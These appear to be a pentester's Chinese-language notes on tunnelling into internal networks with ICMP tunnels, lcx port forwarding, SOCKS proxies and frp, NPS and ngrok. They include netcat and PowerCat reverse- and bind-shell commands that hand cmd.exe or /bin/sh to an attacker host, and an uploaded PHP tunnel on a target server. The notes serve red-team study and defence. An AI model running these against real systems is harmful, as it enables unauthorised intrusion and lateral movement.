内网穿透

常用的隧道列举如下:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

网络层隧道技术

在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问

icmpsh

https://github.com/inquisb/icmpsh
使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问,安装Python-impacket库:

1
apt-get install python-impacket

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

完成后开启系统ping的话将最后的1改为0即可
使用run.sh报错,换成python运行

1
sudo python2 icmpsh_m.py 192.168.111.133 192.168.111.131


然后在Win7上执行命令:

1
icmpsh.exe -t 192.168.111.133


成功返回shell
利用ICMP(icmpsh)协议反弹Shell - 渗透红队笔记

PingTunnel

http://freshmeat.sourceforge.net/projects/ptunnel/
进行安装,安装报错见网上的文章:ICMP隧道之PingTunnel利用
查看帮助信息man pcap

在web服务器192.168.1.4中执行

1
ptunnel -x bmth

然后在VPS机器192.168.1.10中执行

1
ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x bmth

含义:在访问攻击者VPS(192.168.1.10)的1080端口时,会把数据库服务器1.1.1.10的3389端口的数据封装在ICMP隧道里,以Web服务器192.168.1.4为ICMP隧道跳板进行传送

-x:指定ICMP隧道连接的验证密码
-p:指定ICMP隧道另一端的IP
-lp:指定要监听的本地TCP端口
-da:指定要转发的目标机器的IP
-dp:指定要转发的目标机器的TCP端口

传输层隧道技术

传输层技术包括TCP隧道、UDP隧道和常规端口转发等

lcx

lcx是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows版为lcx.exe,Linux版为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务器的IP地址和端口,才能主动与服务器连接

内网端口转发
将目标主机3389端口的所有数据转发到公网VPS的444端口上

1
lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389

在VPS上执行

1
lcx.exe -listen 4444 5555

将本地4444端口上监听的所有数据转发到本机的5555端口上,此时使用mstsc登录VPS的5555端口即可访问目标服务器的3389端口
本地端口映射
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口(例如53)

1
lcx.exe -tran 53 <目标主机IP地址> 3389

netcat

https://eternallybored.org/misc/netcat/

-d 后台模式
-e prog 程序重定向
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, …
-h 获取帮助信息
-i secs 设置时间间隔,以便传送信息及扫描通信端口
-l 使用监听模式,管路和控制传入的数据
-n 直接使用IP地址
-o file 指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中
-p port 设置本地主机使用的通道端口
-r 随机指定本地和远程主机的通道端口
-s addr 设置本地主机送出数据包的IP地址
-t 以TELNET的形式应答入站请求
-u UDP模式
-v 显示详细信息
-w secs 设置等待连线的时间
-z I/O 模式,只在扫描通信端口时使用

如果客户端连接服务器,客户端想要获取服务器的Shell,就称为正向Shell
首先监听目标主机的4444端口

1
2
nc -lvp 4444 -e /bin/sh
nc -lvp 4444 -e c:\windows\system32\cmd.exe


然后在本地连接目标主机的4444端口

1
nc 192.168.111.131 4444

如果客户端连接服务器,服务器想要获取客户端的Shell,就称为反向Shell
在本地或者VPS主机上监听本地9999端口

1
nc -lvp 9999


在目标主机中连接VPS主机的9999端口

1
2
nc 192.168.111.133 9999 -e /bin/sh
nc 192.168.111.133 9999 -e c:\windows\system32\cmd.exe

PowerCat

https://github.com/besimorhino/powercat
PowerCat是一个PowerShell写的tcp/ip瑞士军刀,可以说是nc的PowerShell版本,然后里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等
首先导入Import-Module .\powercat.ps1,然后执行powercat -h

通过nc正向连接PowerCat

1
powercat -l -p 8080 -e cmd.exe -v


通过nc反向连接PowerCat,-c 参数用于提供想要连接的IP地址

1
powercat -c 192.168.111.133 -p 8888 -v -e cmd.exe

-l:监听模式,用于入站连接
-p:指定监听端口
-e:指定要启动进程的名称
-v:显示详情

Socks代理

Socks是一个客户/服务器环境的代理协议。是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递,分为socks 4和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080

Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg,使用Neo-reGeorg来进行代理socks5
直接python3 neoreg.py generate -k bmth生成文件

然后将生成的php文件上传到服务器中,连接python3 neoreg.py -k bmth -u http://192.168.239.136/yxcms/tunnel.php

最后编辑/etc/proxychains.conf加入socks5 127.0.0.1 1080即可

chisel

https://github.com/jpillora/chisel
服务端:./chisel_1.7.6_linux_amd64 server -p 1234 --socks5

攻击端:./chisel_1.7.6_linux_amd64 client 192.168.157.128:1234 socks

然后设置socks5为127.0.0.1:1080,代理成功

EarthWorm

美创科技安全实验室课堂——利用EarthWorm实现内网穿透
内网穿透神器EarthWorm,简称EW是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能

EW共有六种命令格式,分别为ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联

正向SOCKS 5服务器
当攻击者位于外网时,无法直接访问到目标网络内部的主机,但是可以访问到目标网络中对外提供服务的服务器,而恰巧这台机器也拥有内网IP地址,可以访问其他内网机器

攻击者可以在跳板机上运行EarthWorm,执行以下命令

1
ew -s ssocksd -l 1080

在1080端口上开启socks正向代理,在自己的攻击机上开启全局代理,代理到跳板机的1080端口,至此跳板机就可以将攻击者本地操作的流量转发到内网当中,从而访问到原先无法访问的内网机器,实现内网穿透
反弹SOCKS 5服务器
攻击者位于外网,且无法访问目标网络内部的主机,但是内部网络中存在一台对外网开放的服务器,而且可以访问到其他内网机器

攻击者可以在内网跳板机上运行EarthWorm使其反向代理到某台公网服务器上,然后攻击者再通过外网连接到对外服务器进而进入到内网中。
首先在一台具有公网ip的主机上运行以下命令,将1080端口收到的代理请求转发给8888端口

1
ew -s rcsocks -l 1080 -e 8888

然后在内网跳板机上启动SOCKSv5服务,并反弹到公网主机的8888端口,执行以下命令

1
ew -s rssocks -d xxx.xxx.xxx.xxx -e 8888

EarthWorm还提供了自带的三条端口转发指令,参数格式如下:

将1080端口收到的代理请求转发给8888端口:
ew -s lcx_listen -l 1080 -e 8888
将1080端口收到的代理请求转发给2.2.2.2的9999端口:
ew -s lcx_tran -l 1080 -f 2.2.2.2 -g 9999
将1.1.1.1的8888端口和2.2.2.2的9999端口连接起来:
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.2 -g 9999

内网穿透工具

frp

学习一下frp的知识,可以实现内网穿透
下载地址:https://github.com/fatedier/frp/releases
可以下载到linux版本和windows版本,首先下载到我们的vps内,并且解压
编辑frps.ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[common]
# frp监听的端口,默认是7000,可以改成其他的
bind_port = 7000

# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = admin
enable_prometheus = true

# frp日志配置
log_file = ./frps.log
log_level = info
log_max_days = 3

然后运行./frps -c frps.ini

然后回到我们的虚拟机,编辑frpc.ini:

1
2
3
4
5
6
7
8
9
[common]
server_addr = vps_ip
server_port = 7000

[RDP]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 6000

同样运行frpc -c frpc.ini

访问我们的web端,发现online表示连接成功,接下来远程桌面连接到我们的vps_ip,端口为设置的6000

还可以设置socks代理:

1
2
3
4
5
6
7
8
[plugin_socks]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = admin
use_encryption = true
use_compression = true

NPS

https://github.com/ehang-io/nps
发现了一个神器nps,这里学习着使用一下
首先下载安装,默认web控制端端口为8080,默认账户密码为admin与123,可在conf文件夹里nps.conf文件里看到,8024端口为客户端对服务端发送连接请求的端口,需要在客户端配置文件配置,只有先连上此端口,才可以使用代理

1
2
3
4
./nps install
nps start #启动nps
nps stop #停止nps
nps restart #重启nps

然后在客户端点击新增,新建一个客户端的链接方式

保存之后点击隧道,添加一个socks代理,设为6666端口

保存之后将linux_amd64_client.tar.gz上传到我们控制的centos机器
./npc -server=192.168.239.132:8024 -vkey=123456

连接成功,然后编辑/etc/proxychains.conf就可以使用socks5代理了

ngrok

ngrok 是一个反向代理,通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道,实现内网主机的服务可以暴露给外网

首先去官网登录并下载ngrok:https://ngrok.com/
解压得到ngrok.exe

然后根据官网给定的授权码,运行如下授权命令./ngrok authtoken your_token

ngrok会将授权码保存在~/.ngrok2/ngrok.yml中,最后运行命令

1
2
ngrok help
ngrok http 80